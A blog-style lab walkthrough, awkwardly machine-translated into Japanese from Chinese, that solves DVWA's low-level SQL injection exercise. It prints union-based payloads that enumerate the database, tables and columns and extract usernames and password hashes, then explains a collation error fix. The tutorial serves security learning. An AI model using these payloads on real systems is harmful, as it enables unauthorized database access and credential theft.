[ネットワーク セキュリティ] DVWA の SQL インジェクション - 低レベル
免责声明:本文仅分享SQL攻击相关知识,不承担任何法律责任。
読者は DVWA を自分でインストールするように求められますが、この記事では繰り返しません。
脆弱性の種類を特定する
脆弱性の種類を判断する原則については、「【ネットワークセキュリティ】SQLインジェクションの原則と一般的な攻撃手法の分析」を参照してください。
- デジタル注射かどうかを判断する
数値注入の場合、2 番目のステートメントはエラーをエコーするか、エコーしない必要があります。
- 文字インジェクションかどうかを判断する
2 番目のステートメントはエコーされないため、脆弱性の種類は文字インジェクションの脆弱性です。
射出ポイントの数を決定する
入力時に1' order by 4#
、Unknown column '4' in 'order clause'
推定された注入ポイントの数が大きすぎることをエコーが示します
。1' order by 2#
1' order by 3#
Unknown column '3' in 'order clause'
バーストライブラリ名
Enter は1' union select 1,database()#
データベース名をエコーします
図の最初の段落は最初の注入ポイントの情報、2 番目の段落は 2 番目の注入ポイントの情報 (データベース) です。
現在のユーザー名を分解する
入力1' union select 1,user()#
インジェクションポイントが 2 つあるため、SQL ステートメントを通じてデータベース名と現在のユーザー名の両方をクエリできます。 入力
注1' union select user(),database()#
: 使用すると、1' union select user()#
エコーされます。 使用された SELECT ステートメントの列数は異なります (使用された SELECT ステートメントには、列の数が異なります)。これは、ステートメントの注入ポイントが 1 つだけであるためです。
爆発的な名前
次のステートメントを使用して、 guestbook1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#
と users の 2 つのテーブル名をエコーすることもできます。このうち、 group_concat の機能は、複数の値を文字列に結合し、カンマで接続することです。
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
爆発物リスト
入力1' union select 1, column_name from information_schema.columns where table_name='users'#
または1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
逆に、クエリ結果が多すぎる場合は、group_concat を使用してクエリ結果を収集することをお勧めします。
バーストフィールド
入力1' union select user,password from users#
エラーの分析と解決策
SQL ジョイント インジェクション プロセス中にこのエラーが発生した場合: UNION 情報スキーマ操作の不正な照合順序の組み合わせ
原因如下:
内のテーブルの照合ルールは utf8_general_ci で、ユーザー テーブルのフィールドはデフォルトの utf8_unicode_ci であるため、文字ソートの不一致が発生します。
解决方法:
- phpstudyでphpMyAdminを開きます
- dvwa データベースにユーザー テーブルを入力し、各列のソート ルールを utf8_gengeral_ci に変更して保存します。
要約する
上記は DVWA の SQL インジェクションの低レベルの問題解決に関する詳細な分析であり、読者はこれを使用して SQL インジェクション手法を簡単に理解できます。
后续会分享DVWA之SQL注入—Medium level攻击姿势及解题详析。
私は邱です、また会いましょう。